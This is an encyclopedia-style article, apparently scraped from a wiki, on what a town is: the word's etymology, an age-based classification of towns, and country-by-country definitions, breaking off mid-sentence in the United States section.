-Çeşme, Turkey a coastal Turkish town with houses in regional style and an Ottoman Castle  The town of Mecca in the Arabian Peninsula, before its inflation, in 1880.  The historical town of Skalica in Slovakia  Portugal) The Marian town of Fátima  Rural towns like Monett , dot the American landscape.  A town is a human settlement. Towns are generally larger than villages but smaller than cities, though the criteria to distinguish them vary considerably between different parts of the world.  Origin and use [ edit ]  The word town shares an origin with the German word Zaun, the Dutch word tuin, and the Old Norse tun. The German word Zaun comes closest to the original meaning of the word: a fence of any material. An early borrowing from Celtic *dunom (cf. Old Irish dun, Welsh din "fortress, fortified place, camp," dinas "city").  In English and Dutch, the meaning of the word took on the sense of the space which these fences enclosed. In England, a town was a small community that could not afford or was not allowed to build walls or other larger fortifications, and built a palisade or stockade instead. In the Netherlands, this space was a garden, more specifically those of the wealthy, which had a high fence or a wall around them (like the garden of the palace of Het Loo in Apeldoorn, which was the model for the privy garden of William III and Mary II at Hampton Court). In Old Norse tun means a (grassy) place between farmhouses, and the word is still used in a similar meaning in modern Norwegian.  In Old English and Early and Middle Scots, the words ton, toun, etc. could refer to diverse kinds of settlements from agricultural estates and holdings, partly picking up the Norse sense (as in the Scots word fermtoun) at one end of the scale, to fortified municipalities. If there was any distinction between toun (fortified municipality) and burgh (unfortified municipality) as claimed by some[who?], it did not last in practice as burghs and touns developed. For example, "Edina Burgh" or "Edinburgh" (called a city today) was built around a fort and eventually came to have a defensive wall.  In some cases, "town" is an alternative name for "city" or "village" (especially a larger village). Sometimes, the word "town" is short for "township". In general, today towns can be differentiated from townships, villages, or hamlets on the basis of their economic character, in that most of a town's population will tend to derive their living from manufacturing industry, commerce, and public services rather than primary industry such as agriculture or related activities.  A place's population size is not a reliable determinant of urban character. In many areas of the world, e.g. in India at least until recent times, a large village might contain several times as many people as a small town. In the United Kingdom, there are historical cities that are far smaller than the larger towns.  The modern phenomenon of extensive suburban growth, satellite urban development, and migration of city dwellers to villages has further complicated the definition of towns, creating communities urban in their economic and cultural characteristics but lacking other characteristics of urban localities.  Some forms of non-rural settlement, such as temporary mining locations, may be clearly non-rural, but have at best a questionable claim to be called a town.  Towns often exist as distinct governmental units, with legally defined borders and some or all of the appurtenances of local government (e.g. a police force). In the United States these are referred to as "incorporated towns". In other cases the town lacks its own governance and is said to be "unincorporated". Note that the existence of an unincorporated town may be legally set out by other means, e.g. zoning districts. In the case of some planned communities, the town exists legally in the form of covenants on the properties within the town. The United States Census identifies many census-designated places (CDPs) by the names of unincorporated towns which lie within them; however, those CDPs typically include rural and suburban areas and even surrounding villages and other towns.  The distinction between a town and a city similarly depends on the approach: a city may strictly be an administrative entity which has been granted that designation by law, but in informal usage, the term is also used to denote an urban locality of a particular size or importance: whereas a medieval city may have possessed as few as 10,000 inhabitants, today some[who?] consider an urban place of fewer than 100,000 as a town, even though there are many officially designated cities that are much smaller than that.  Age of towns scheme [ edit ]  Australian geographer Thomas Griffith Taylor proposed a classification of towns based on their age and pattern of land use. He identified five types of town:[1]  Infantile towns , with no clear zoning  , with no clear zoning Juvenile towns , which have developed an area of shops  , which have developed an area of shops Adolescent towns , where factories have started to appear  , where factories have started to appear Early mature towns , with a separate area of high-class housing  , with a separate area of high-class housing Mature towns, with defined industrial, commercial and various types of residential area  By country [ edit ]  Afghanistan [ edit ]  In Afghanistan, towns and cities are known as shār (Dari: شهر, Pashto: ښار).[2] As the country is an historically rural society with few larger settlements, with major cities never holding more than a few hundred thousand inhabitants before the 2000s, the lingual tradition of the country does not discriminate between towns and cities.  Albania [ edit ]  In Albania "qytezë" means town, which is very similar with the word for city ("qytet"). Although there is no official use of the term for any settlement. In Albanian "qytezë" means "small city" or "new city", while in ancient times "small residential center within the walls of a castle".  Arab [ edit ]  The center is a population group, larger than a village, and smaller than a city. Though the village is bigger than a hamlet  Australia [ edit ]  In Australia, towns or "urban centre localities" are commonly understood to be those centers of population not formally declared to be cities and having a population in excess of about 200 people.[3] Centers too small to be called towns are generally understood to be a township.[citation needed]  In addition, some local government entities are officially styled as towns in Queensland, Western Australia and the Northern Territory, and before the statewide amalgamations of the 1990s in Victoria some local government entities were styled as towns, but now towns are only localities that contain an urban centre with a population greater than 200.[citation needed]  Austria [ edit ]  The Austrian legal system does not distinguish between villages, towns, and cities. The country is partitioned into 2098 municipalities (German: Gemeinden) of fundamentally equal rank. Larger municipalities are designated as market towns (German: Marktgemeinden) or cities (Städte), but these distinctions are purely symbolic and do not confer additional legal responsibilities. There is a number of smaller communities that are labelled cities because they used to be regional population centers in the distant past. The city of Rattenberg for example has about 400 inhabitants. The city of Hardegg has about 1200 inhabitants, although the historic city core − Hardegg proper without what used to be the surrounding hamlets − is home to just 80 souls.  There are no unincorporated areas.  Of the 201 cities in Austria, 15 are statutory cities (Statutarstädte). A statutory city is a city that is vested, in addition to its purview as a municipality, with the duties of a district administrative authority. The status does not come with any additional autonomy: district administrative authorities are essentially just service centers that citizens use to interact with the national government, for example to apply for driver licenses or passports. The national government generally uses the provinces to run these points of contact on its behalf; in the case of statutory cities, the municipality gets to step up.  Bulgaria [ edit ]  Bulgarians do not, in general, differentiate between 'city' and 'town'. However, in everyday language and media the terms "large towns" and "small towns" are in use. "Large towns" usually refers to Sofia, Plovdiv, Varna and Burgas, which have population over 200,000. Ruse and Stara Zagora are often included as well due to presence of relatively developed infrastructure and population over 100,000 threshold. It is difficult to call the remaining provincial capitals "large towns" as, in general, they are less developed and have shrinking population, some with as few as 30,000 inhabitants.  In Bulgaria the Council of Ministers defines what constitutes a settlement, while the President of Bulgaria grants each settlement its title. In 2005 the requirement that villages that wish to classify themselves as town must have a social and technical infrastructure, as well as a population of no fewer than 3500 people. For resort settlements the requirements are lower with the population needing to be no fewer than 1000 people but infrastructure requirements remain.  Canada [ edit ]  The legal definition of a town in Canada varies by province or territory, as each has jurisdiction over defining and legislating towns, cities and other types of municipal organization within its own boundaries.  The province of Quebec is unique in that it makes no distinction under law between towns and cities. There is no intermediate level in French between village and ville (municipality is an administrative term usually applied to a legal, not geographical entity), so both are combined under the single legal status of ville. While an informal preference may exist among English speakers as to whether any individual ville is commonly referred to as a city or as a town, no distinction and no objective legal criteria exist to make such a distinction under law.  Chile [ edit ]  In Chile, towns (Spanish: pueblos) are defined by the National Statistics Institute (INE) as an urban entity with a population from 2001 to 5000 or an area with a population from 1001 to 2000 and an established economic activity.  Czech Republic [ edit ]  In the Czech Republic, the word město (city) is used for very wide variety of municipalities, ranging from Prague, the largest and capital city with approximately 1.2 million inhabitants, to the smallest, Přebuz, with just 74 inhabitants. Technically, a municipality must have at least 3,000 inhabitants to be granted the město title, although many smaller municipalities, especially some former mining towns, retain the title město for historic reasons. Currently, approximately 192 of the 592 města have less than 3,000 inhabitants.  Some municipalities have been amalgamated together, such that the whole is considered as a město.  Statutory cities (statutární město), which are defined by law no. 128/2000 Coll.,[4] can define their own self-governing municipal districts.. There are 25 such cities, in addition to Prague, which is a de facto statutory city.  In 2006, the legal concept of a town (městys, or formerly městečko) was reintroduced. Currently, around 213 municipalities hold the title městys.  Municipalities which do not qualify as a město or a městys default to the title of obec (a municipality) or, unofficially, a vesnice (village), even though they may consist of one or more villages.  Denmark [ edit ]  In Denmark, in many contexts no distinction is made between "city", "town" and "village"; all three translate as "by". In more specific use, for small villages and hamlets the word "landsby" (meaning "country town") is used, while the Danish equivalent of English "city" is "storby" (meaning "large town"). For formal purposes, urban areas having at least 200 inhabitants are counted as "by".[5]  Historically some towns held various privileges, the most important of which was the right to hold market. They were administered separately from the rural areas in both fiscal, military and legal matters. Such towns are known as "købstad" (roughly the same meaning as "borough" albeit deriving from a different etymology) and they retain the exclusive right to the title even after the last vestiges of their privileges vanished through the reform of the local administration carried through in 1970.  Estonia [ edit ]  In Estonia, there is no distinction between a town and a city as the word linn is used for both bigger and smaller settlements, which are bigger than villages and boroughs. There are 30 municipal towns (omavalitsuslik linn) in Estonia and a further 17 towns, which have merged with a municipal parish (vallasisene linn).  France [ edit ]  From an administrative standpoint, the smallest level of local authorities are all called "communes". However, some laws do treat these authorities differently based on the population and different rules apply to the three big cities Paris, Lyon and Marseille. For historical reasons, six communes in the Meuse département exist as independent entities despite having no inhabitant at all.  For statistical purposes, the national statistical institute (INSEE) operates a distinction between urban areas with fewer than 2,000 inhabitants and bigger communes, the latter being called "villes". Smaller settlements are usually called "villages". The French term for "town" is "bourg"[citation needed] but in fact, the French laws do not really distinguish between towns and cities which are all commonly called "villes".  Germany [ edit ]  Germans do not, in general, differentiate between 'city' and 'town'. The German word for both is Stadt, as it is the case in many other languages that do not differentiate between these Anglo-Saxon concepts. The word for a 'village', as a smaller settlement, is Dorf. However, the International Statistics Conference of 1887 defined different sizes of Stadt, based on their population size, as follows: Landstadt ("country town"; under 5,000), Kleinstadt ("small town"; 5,000 to 20,000), Mittelstadt ("middle town"; between 20,000 and 100,000) and Großstadt ("large town"; over 100,000).[6] The term Großstadt may be translated as "city". In addition, Germans may speak of a Millionenstadt, a city with over one million inhabitants (such as Munich, Hamburg and Berlin).  Historically, many settlements became a Stadt by being awarded a Stadtrecht in medieval times. In modern German language use, the historical importance, the existence of central functions (education, retail etc.) and the population density of an urban place might also be taken as characteristics of a Stadt. The modern local government organisation is subject to the laws of each state and refers to a Gemeinde (municipality), regardless of its historic title. While most Gemeinden form part of a Landkreis (district) on a higher tier of local government, larger towns and cities may have the status of a kreisfreie Stadt, combining both the powers of a municipality and a district.  Designations in different states are as diverse as e.g. in Australian States and Territories, and differ from state to state. In some German states, the words Markt ("market"), Marktflecken (both used in southern Germany) or Flecken ("spot"; northern Germany e.g. in Lower Saxony) designate a town-like residential community between Gemeinde and Stadt with special importance to its outer conurbation area. Historically those had Marktrecht (market right) but not full town privileges; see Market town. The legal denomination of a specific settlement may differ from its common designation (e.g. Samtgemeinde – a legal term in Lower Saxony for a group of villages [Dorf, pl. Dörfer] with common local government created by combining municipalities [Gemeinde, pl. Gemeinden]).  Greece and Cyprus [ edit ]  In written speech, Greeks use the word πόλη (póli) to express 'city' and the word κωμόπολη (komópoli) to express 'town', both with a feminine grammatical gender. For Greeks, a town (komópoli) is a human settlement with a population of 2,000–9,999. If a settlement has a lower population, it is considered a village (χωριό, chorjó). For the cities, Greeks, use the word 'póli', whereas for bigger cities with a population above 1 million, they usually use another name, μητρόπολη (mitrópoli), in English Metropolis. In the Greek speaking world (Greece and Cyprus) only Athens and Salonica can be described as "metropoleis".  In spoken speech, Greeks use the word for village to refer both to villages and towns and the word for city to refer to both cities and metropoleis.  Hong Kong [ edit ]  Hong Kong started developing new towns in the 1950s, to accommodate exponential population increase. The very first new towns included Tsuen Wan and Kwun Tong. In the late 1960s and the 1970s, another stage of new town developments was launched. Nine new towns have been developed so far. Land use is carefully planned and development provides plenty of room for public housing projects. Rail transport is usually available at a later stage. The first towns are Sha Tin, Tsuen Wan, Tuen Mun and Tseung Kwan O. Tuen Mun was intended to be self-reliant, but was not successful and turned into a bedroom community like the other new towns. More recent developments are Tin Shui Wai and North Lantau (Tung Chung-Tai Ho).  Hungary [ edit ]  In Hungary there is no official distinction between a city and a town (the word for both in Hungarian is: város). Nevertheless, the expressions formed by adding the adjectives "kis" (small) and "nagy" (large) to the beginning of the root word (e.g. "nagyváros") have been normalized to differentiate between cities and towns (towns being smaller, therefore bearing the name "kisváros".) In Hungary, a village can gain the status of "város" (town), if it meets a set of diverse conditions for quality of life and development of certain public services and utilities (e.g. having a local secondary school or installing full-area sewage collection pipe network). Every year the Minister of Internal Affairs selects candidates from a committee-screened list of applicants, whom the President of Republic usually affirms by issuing a bill of town's rank to them. Since being a town carries extra fiscal support from the government, many relatively small villages try to win the status of "városi rang" nowadays.  Before the fall of communism in 1990, Hungarian villages with fewer than 10,000 residents were not allowed to become towns. Recently some settlements as small as 2,500 souls have received the rank of town (e.g. Visegrád, Zalakaros or Gönc) and meeting the conditions of development is often disregarded to quickly elevate larger villages into towns. As of middle 2013, there are 346 towns in Hungary, encompassing some 69% of the entire population.  Towns of more than 50,000 people are able to gain the status of "megyei jogú város" (town with the rights of a county), which allows them to maintain a higher degree of services. (There are a few exceptions, when towns of fewer than 50,000 people gained the status: Érd, Hódmezővásárhely, Salgótarján and Szekszárd)[7] As of middle 2013, there are only 23 such towns in Hungary.[8]  Iceland [ edit ]  Ireland [ edit ]  The Local Government act 2001 provides that from January 1, 2002 (section 10 subsection (3) Within the county in which they are situated and of which they form part, there continue to be such other local government areas as are set out in Schedule 6 which – (a) in the case of the areas set out in Chapter 1 of Part 1 of that Schedule, shall be known as boroughs, and – (b) in the case of the areas set out in Chapter 2 of Part 1 and Part 2 of that Schedule, shall be known as towns, and in this Act a reference to a town shall include a reference to a borough.  These provisions affect the replacement of the boroughs, Towns and urban districts which existed before then. Similar reforms in the nomenclature of local authorities ( but not their functions) are effected by section 11 part 17 of the act includes provision (section 185(2)) Qualified electors of a town having a population of at least 7,500 as ascertained at the last preceding census or such other figure as the Minister may from time to time prescribe by regulations, and not having a town council, may make a proposal in accordance with paragraph (b) for the establishment of such a council and contains provisions enabling the establishment of new town councils and provisions enabling the dissolution of existing or new town councils in certain circumstances  The reference to town having a population of at least 7,500 as ascertained at the last preceding census hands much of the power relating to defining what is in fact a town over to the Central Statistics Office and their criteria are published as part of each census.  Planning and Development Act 2000  Another reference to the Census and its role in determining what is or is not a town for some administrative purpose is in the Planning and Development act 2000 (part II chapter I which provides for Local area plans)  A local area plan shall be made in respect of an area which —(i) is designated as a town in the most recent census of population, other than a town designated as a suburb or environs in that census, (ii) has a population in excess of 2,000, and (iii) is situated within the functional area of a planning authority which is a county council.  Central Statistics Office criteria  These are set out in full at 2006 Census Appendices.  In short they speak of "towns with legally defined boundaries" ( i.e. those established by the Local Government Act 2001) and the remaining 664 as "census towns", defined by themselves since 1971 as a cluster of 50 or more occupied dwellings in which within a distance of 800 meters there is a nucleus of 30 occupied houses on both sides of the road or twenty occupied houses on one side of the road there is also a 200 meter criterion for determining whether a house is part of a census town.  India [ edit ]  A street in Paravur town, India  The 2011 Census of India defines towns of two types: statutory town and census town. Statutory town is defined as all places with a municipality, corporation, cantonment board or notified town area committee. Census towns are defined as places that satisfy the following criteria:  Minimum population of 5,000 At least 75% of male working population engaged in non-agricultural pursuits Density of population at least 400/km2. (1,000 per sq. mile).  All the statutory towns, census towns and out growths are considered as urban settlements, as opposed to rural areas.[9]  Iran [ edit ]  In contemporary Persian texts, no distinction is made between "city" and "town"; both translate as "Shahr" (شهر). In older Persian texts (until the first half of the 20th century), the Arabic word "Qasabeh" (قصبه) was used for a town. However, in recent 50 years, this word has become obsolete.  There is a word in Persian which is used for special sort of satellite townships and city neighborhoods. It is Shahrak (شهرک), (lit.: small city). Another smaller type of town or neighborhood in a big city is called Kuy (کوی). Shahrak and Kuy each have their different legal definitions. Large cities such as Tehran, Mashhad, Isfahan, Tabriz, etc. which have millions of populations are referred to as Kalan-shahrکلان‌شهر (metropole).  The pace in which different large villages have gained city status in Iran shows a dramatic increase in the last two decades.  Bigger cities and towns usually are centers of a township (in Persian: Shahrestan (شهرستان). Shahrestan itself is a subdivision of Ostan استان (Province).  Isle of Man [ edit ]  There are four settlements which are historically and officially designated as towns (Douglas, Ramsey, Peel, Castletown); however  Peel is also sometimes referred to as a city by virtue of its cathedral.  Onchan and Port Erin are both larger in population than the smallest "town", having expanded in modern times, but are designated as villages.  Israel [ edit ]  Modern Hebrew does provide a word for the concept of a town: Ayara (עיירה), derived from Ir (עיר), the biblical word for "city". However, the term ayara is normally used only to describe towns in foreign countries, i.e. urban areas of limited population, particularly when the speaker is attempting to evoke nostalgic or romantic attitudes. The term is also used to describe a Shtetl, a pre-Holocaust Eastern European Jewish town.  Within Israel, established urban areas are always referred to as cities (with one notable exception explained below) regardless of their actual size. Israeli law does not define any nomenclature for distinction between urban areas based on size or any other factor – meaning that all urban settlements in Israel are legally referred to as "cities".  The exception to the above is the term Ayeret Pituakh (עיירת פיתוח, lit. "Development Town") which is applied to certain cities in Israel based on the reasons for their establishment. These cities, created during the earlier decades of Israeli independence (1950s and 1960s, generally), were designed primarily to serve as commercial and transportation hubs, connecting smaller agricultural settlements in the northern and southern regions of the country (the "Periphery") to the major urban areas of the coastal and central regions. Some of these "development towns" have since grown to a comparatively large size, and yet are still referred to as "development towns", particularly when the speaker wishes to emphasize their (often low) socio-economic status. Nonetheless, they are rarely (if ever) referred to simply as "towns"; when referring to one directly, it will be called either a "development town" or a "city", depending on context.  Italy [ edit ]  Although Italian provides different words for city (città), town (paese) and village (villaggio, old-fashioned, or frazione, most common), no legal definitions exist as to how settlements must be classified. Administratively, both towns and cities are ruled as comuni/comunes, while villages might be subdivisions of the former. Generally, in everyday's speech, a town is larger or more populated than a village and smaller than a city. Various cities and towns together may form a metropolitan area (area metropolitana). A city, can also be a culturally, economically or politically prominent community with respect to surrounding towns. Moreover, a city can be such by Presidential decree. A town, in contrast, can be an inhabited place which would elsewhere be styled a city, but has not received any official recognition. Remarkable exceptions do exist: for instance, Bassano del Grappa, was given the status of "città" in 1760 by Francesco Loredan's dogal decree and has since then carried this title. Also, the Italian word for town (paese with lowercase P) must not be confused with the Italian word for country/nation (Paese usually with uppercase P).  Japan [ edit ]  In Japan city status (shi) was traditionally reserved for only a few particularly large settlements. Over time however the necessary conditions to be a city have been watered down and today the only loose rules that apply are having a population over 50,000 and over 60% of the population in a "city centre". In recent times many small villages and towns have merged in order to form a city despite seeming geographically to be just a collection of villages.  The distinction between towns (machi/chō) and villages (mura/son) is largely unwritten and purely one of population size when the settlement was founded with villages having under 10,000 and towns 10,000–50,000.  Korea [ edit ]  In both of South Korea and North Korea, towns are called eup (읍).  Latvia [ edit ]  In Latvia, towns and cities are indiscriminately called pilsēta in singular form. The name is a contraction of two Latvian words: pils (castle) and sēta (fence), making it very obvious what is meant by the word – what is situated between the castle and the castle fence. However, a city can be called lielpilsēta in reference to its size. A village is called ciemats or ciems in Latvian.  Lithuania [ edit ]  In Lithuanian, a city is called miestas, a town is called miestelis (literally "small miestas). Metropolis is called didmiestis (literally "big miestas).  Malaysia [ edit ]  In Malaysia, a town is the area administered by Municipal Council (Malay: Masjid Perbandaran).  Netherlands [ edit ]  Before 1848 there was a legal distinction between stad and non-stad parts of the country, but the word no longer has any legal significance. About 220 places got "stadsrechten" (city rights) and are still so called for historical and traditional reasons, though the word is also used for large urban areas that never got such rights. Because of this, in the Netherlands, no distinction is made between "city" and "town"; both translate as "stad". A hamlet ("gehucht") usually has fewer than 1,000 inhabitants, a village ("dorp") ranges from 1,000 up to 25,000 inhabitants, and anything above the latter can call itself either village or city, mostly depending on historic reasons or size of the place. As an example: a large city like The Hague never gained city rights, but because of its size - more than half a million inhabitants - it is regarded as such. Staverden, with only 40 inhabitants would be a hamlet, but because of city rights it may call itself a city.  For statistical reasons, the Netherlands has three sorts of cities:  "kleine stad" (small-sized cities): 50,000 — 99,999 inhabitants  "middelgrote stad" (medium-sized cities): 100,000 — 249,999 inhabitants  "grote stad" (big, or large cities): 250,000 and more  Only Amsterdam, Rotterdam, The Hague and Utrecht are regarded as "grote stad".  New Zealand [ edit ]  In New Zealand, a town is a built-up area that is not large enough to be considered a city. Historically, this definition corresponded to a population of between approximately 1,000 and 20,000. Towns have no independent legal existence, being administered simply as built-up parts of districts, or, in some cases, of cities.  New Zealand's towns vary greatly in size and importance, ranging from small rural service centres to significant regional centres such as Blenheim and Taupo. Typically, once a town reaches a population of somewhere between 20,000 and 30,000 people, it will begin to be informally regarded as a city. One who regards a settlement as too small to be a town will typically call it a "township" or "village."  Norway [ edit ]  In Norway, "city" and "town" both translate to "by", even if a city may be referred to as "storby" ("large town"). They will all be part of and administered as a "kommune" ("municipality").  Norway has had inland the northernmost city in the world: Hammerfest. Now the record is held by New Ålesund on the Norwegian island Svalbard  Philippines [ edit ]  In the Philippines, the local official equivalent of the town is the municipality (Filipino bayan). Every municipality, or town, in the country has a mayor (Filipino alkalde) and a vice mayor (Filipino bise alkalde) as well as local town officials (Sangguniang Bayan). Philippine towns, otherwise called as municipalities, are composed of a number of villages and communities called barangays with one (or a few cluster of) barangay(s) serving as the town center or poblacion.  Unique in Philippine towns is that they have fixed budget, population and land requirements to become as such, i.e. from a barangay, or a cluster of such, to a town, or to become cities, i.e. from town to a city. Respectively, examples of these are the town of B.E. Dujali in Davao del Norte province, which was formed in 1998 from a cluster of 5 barangays, and the city of El Salvador, which was converted from a town to a city in 2007. Each town in the Philippines was classified by its annual income and budget.  A sharp, hierarchical distinction exists between Philippine cities (Filipino lungsod or siyudad) and towns, as towns in the country are juridically separate from cities, which are typically larger and more populous (some smaller and less populated) and which political and economic status are above those of towns. This was further supported and indicated by the income classification system implemented by the National Department of Finance, to which both cities and towns fell into their respective categories that indicate they are such as stated under Philippine law. However, both towns and cities equally share the status as local government units (LGU's) grouped under and belong to provinces and regions; both each are composed of barangays and are governed by a mayor and a vice mayor supplemented by their respective LGU legislative councils.  Poland [ edit ]  Similarly to Germany and Sweden, in Poland there is no linguistic distinction between a city and a town. The word for both is miasto, as a form of settlement distinct from following: village (wieś), hamlet (przysiółek), settlement (osada), or colony (kolonia). Town status is conferred by administrative decree, new towns are announced by the Government in a separate Bill effective from the first day of the year. Some settlements tend to remain villages even though they have a larger population than many smaller towns. Town may be called in diminutive way as "miasteczko", what is colloquially used for localities with a few thousand residents. Such localities have usually a Mayor (burmistrz) as a chief of town council.  Cities are the biggest localities, generally must be bigger than 100 thousand of residents, they are ruled by President (prezydent) as a chief of City Council. There are bare a few (mainly historic or political) exemptions which have allowed towns lesser than 100 thousand of people, to obtain President title for their Mayors, and to become recognized as Cities that way. Just to name a few: Bolesławiec, Gniezno, Zamość.  Portugal [ edit ]  Like other Iberian cultures, in Portugal there is a traditional distinction between towns (vilas) and cities (cidades). Similarly, although these areas are not defined under the constitution, and have no political function (with associated organs), they are defined by law,[10] and a town must have:  at least 3,000 inhabitants  at least half of these services: health unit, pharmacy, cultural centre, public transportation network, post office, commercial food and drinking establishments, primary school and/or bank office  In this context, the town or city is subordinate to the local authority (civil parish or municipality, in comparison to the North American context, where they have political functions. In special cases, some villages may be granted the status of town if they possess historical, cultural or architectonic importance.  The Portuguese urban settlements heraldry reflects the difference between towns and cities,[11] with the coat of arms of a town bearing a crown with 4 towers, while the coat of arms of a city bears a crown with 5 towers. This difference between towns and cities is still in use in other Portuguese speaking countries, but in Brazil is no longer in use.  Romania [ edit ]  In Romania there is no official distinction between a city and a town (the word for both in Romanian is: oraş). Cities and towns in Romania can have the status either of oraş municipiu, conferred to large urban areas, or only oraş to smaller urban localities. Some settlements remain villages (communes) even though they have a larger population than other smaller towns.  Russia [ edit ]  The town of Reutov is separated from the city of Moscow just by the MKAD highway  Unlike English, the Russian language does not distinguish the terms "city" and "town"—both are translated as "город" (gorod). Occasionally the term "город" is applied to urban-type settlements as well, even though the status of those is not the same as that of a city/town proper.  In Russia, the criteria an inhabited locality needs to meet in order to be granted city/town (gorod) status vary in different federal subjects. In general, to qualify for this status, an inhabited locality should have more than 12,000 inhabitants and the occupation of no less than 85% of inhabitants must be other than agriculture. However, inhabited localities which were previously granted the city/town status but no longer meet the criteria can still retain the status for historical reasons.  Singapore [ edit ]  In Singapore, towns are large scale satellite housing developments which are designed to be self contained. It includes public housing units, a town centre and other amenities.[12] Helmed by a hierarchy of commercial developments, ranging from a town centre to precinct-level outlets, there is no need to venture out of town to meet the most common needs of residences. Employment can be found in industrial estates located within several towns. Educational, health care, and recreational needs are also taken care of with the provision of schools, hospitals, parks, sports complexes, and so on. The most populous town in the country is Bedok.  Bishan , one of Singapore's towns is the 38th biggest in terms of geographical size and the 21st most populated planning area in the country.  South Africa [ edit ]  In South Africa the Afrikaans term "Dorp" is used interchangeably with the English equivalent of "Town". A "town" is a settlement that has a size that is smaller than that of a city.  Spain [ edit ]  In Spain, the equivalent of town would be villa, a population unit between a village (pueblo) and a city (ciudad), and is not defined by the number of inhabitants, but by some historical rights and privileges dating from the Middle Ages, such as the right to hold a market or fair. For instance, while Madrid is technically a villa, Barcelona, with a smaller population, is known as a city.  Sweden [ edit ]  The Swedish language does not differentiate between towns and cities in the English sense of the words; both words are commonly translated as stad, a term which has no legal significance today. The term tätort is used for an urban area or a locality, which however is a statistical rather than an administrative concept and encompasses densely settled villages with only 200 inhabitants as well as the major cities. The word köping corresponds to an English market town (chipping) or German Markt but is mainly of historical significance, as the term is not used today and only survives in some toponyms. Some towns with names ending in -köping are cities with over 100 000 inhabitants today, e.g. Linköping.  Before 1971, 132 larger municipalities in Sweden enjoyed special royal charters as stad instead of kommun (which is similar to a US county). However, since 1971 all municipalities are officially defined as kommun, thus making no legal difference between, for instance, Stockholm and a small countryside municipality. Every urban area that was a stad before 1971 is still often referred to as a stad in daily speech. Since the 1980s, 14 of these municipalities brand themselves as stad again, although this has no legal or administrative significance, as they still have refer to themselves as kommun in all legal documentation.  For statistical purposes, Statistics Sweden officially defines a stad as an urban area of at least 10,000 inhabitants. In the Swedish language the term for a major city is storstad (literally "big town"), but there is no clear definition as to when a stad should be called a storstad. Most Swedes would only call Stockholm, Gothenburg and Malmö storstäder, i.e. "major cities", although Uppsala fulfills the definition of "municipality with a population that exceeds 200 000 inhabitants".[13]  Ukraine [ edit ]  Fire station in town of Bohorodchany  In Ukraine the term town (містечко, mistechko) existed from the Medieval period until 1925, when it was replaced by the Soviet regime with urban type settlement.[14] Historically, town in the Ukrainian lands was a smaller populated place that was chartered under the German town law and had a market square (see Market town). Today informally, town is also referred to cities of district significance, cities with small population, and former Jewish shtetls.  United Kingdom [ edit ]  England and Wales [ edit ]  A traditional English town centre at Rugby  In England and Wales, a town traditionally was a settlement which had a charter to hold a market or fair and therefore became a "market town". Market towns were distinguished from villages in that they were the economic hub of a surrounding area, and were usually larger and had more facilities.  In parallel with popular usage, however, there are many technical and official definitions of what constitutes a town, to which various interested parties cling.  In modern official usage the term town is employed either for old market towns, or for settlements which have a town council, or for settlements which elsewhere would be classed a city, but which do not have the legal right to call themselves such. Any parish council can decide to describe itself as a town council, but this will usually only apply to the smallest "towns" (because larger towns will be larger than a single civil parish).  Not all settlements which are commonly described as towns have a "Town Council" or "Borough Council". In fact, because of many successive changes to the structure of local government, there are now few large towns which are represented by a body closely related to their historic borough council. These days, a smaller town will usually be part of a local authority which covers several towns. And where a larger town is the seat of a local authority, the authority will usually cover a much wider area than the town itself (either a large rural hinterland, or several other, smaller towns).  Additionally, there are "new towns" which were created during the 20th century, such as Basildon, Redditch and Telford. Milton Keynes was designed to be a "new city" but legally it is still a town despite its size.  Some settlements which describe themselves as towns (e.g. Shipston-on-Stour, Warwickshire) are smaller than some large villages (e.g. Kidlington, Oxfordshire).  The status of a city is reserved for places that have letters patent entitling them to the name, historically associated with the possession of a cathedral. Some large municipalities (such as Northampton and Bournemouth) are legally boroughs but not cities, whereas some cities are quite small — such as Ely or St David's. The city of Brighton and Hove was created from the two former towns and some surrounding villages, and within the city the correct term for the former distinct entities is somewhat unclear.  It appears that a city may become a town, though perhaps only through administrative error: Rochester in Kent had been a city for centuries but, when in 1998 the Medway district was created, a bureaucratic blunder meant that Rochester lost its official city status and is now technically a town.  It is often thought that towns with bishops' seats rank automatically as cities: however, Chelmsford was a town until 5 June 2012 despite being the seat of the diocese of Chelmsford, created in 1914. St Asaph, which is the seat of the diocese of St Asaph, only became a city on 1 June 2012 though the diocese was founded in the mid sixth century. In reality, the pre-qualification of having a cathedral of the established Church of England, and the formerly established Church in Wales or Church of Ireland, ceased to apply from 1888.  The word town can also be used as a general term for urban areas, including cities and in a few cases, districts within cities. In this usage, a city is a type of town; a large one, with a certain status. For example, central Greater London is sometimes referred to colloquially as "London town". (The "City of London" is the historical nucleus, informally known as the "Square Mile", and is administratively separate from the rest of Greater London, while the City of Westminster is also technically a city and is also a London borough.) Camden Town and Somers Town are districts of London, as New Town is a district of Edinburgh – actually the Georgian centre.  Scotland [ edit ]  A town in Scotland has no specific legal meaning and (especially in areas which were or are still Gaelic-speaking) can refer to a mere collection of buildings (e.g. a farm-town or in Scots ferm-toun), not all of which might be inhabited, or to an inhabited area of any size which is not otherwise described in terms such as city, burgh, etc. Many locations of greatly different size will be encountered with a name ending with -town, -ton, -toun etc. (or beginning with the Gaelic equivalent baile etc.).  A burgh (pronounced burruh) is the Scots' term for a town or a municipality. They were highly autonomous units of local government from at least the 12th century until their abolition in 1975, when a new regional structure of local government was introduced across the country. Usually based upon a town, they had a municipal corporation and certain rights, such as a degree of self-governance and representation in the sovereign Parliament of Scotland adjourned in 1707.  The term no longer describes units of local government although various claims are made from time to time that the legislation used was not competent to change the status of the Royal Burghs described below. The status is now chiefly ceremonial but various functions have been inherited by current Councils (e.g. the application of various endowments providing for public benefit) which might only apply within the area previously served by a burgh; in consequence a burgh can still exist (if only as a defined geographical area) and might still be signed as such by the current local authority. It should be noted that the word 'burgh' is generally not used as a synonym for 'town' or 'city' in everyday speech, but is reserved mostly for government and administrative purposes.  Historically, the most important burghs were royal burghs, followed by burghs of regality and burghs of barony. Some newer settlements were only designated as police burghs from the 19th century onward, a classification which also applies to most of the older burghs.  United States [ edit ]  Since the Tenth Amendment to the United States Constitution largely leaves local-government organization to the individual U.S. states, the definition (if any) of "town" varies widely from state to state. In some states, the term "town" refers to an area of population distinct from others in some meaningful dimension, typically population or type of government. The characteristic that distinguishes a town from another type of populated place — a city, borough, village, or township, for example — differs from state to state. In some states, a town is an incorporated municipality; that is, one with a charter received from the state, similar to a city (see incorporated town), while in others, a town is unincorporated. In some instances, the term "town" refers to a small incorporated municipality of less than a population threshold specified by state statute, while in others a town can be significantly larger. Some states do not use the term "town" at all, while in others the term has no official meaning and is used informally to refer to a populated place, of any size, whether incorporated or unincorporated. In still other states, the words "town" and "city" are legally interchangeable.  Small town life has been a 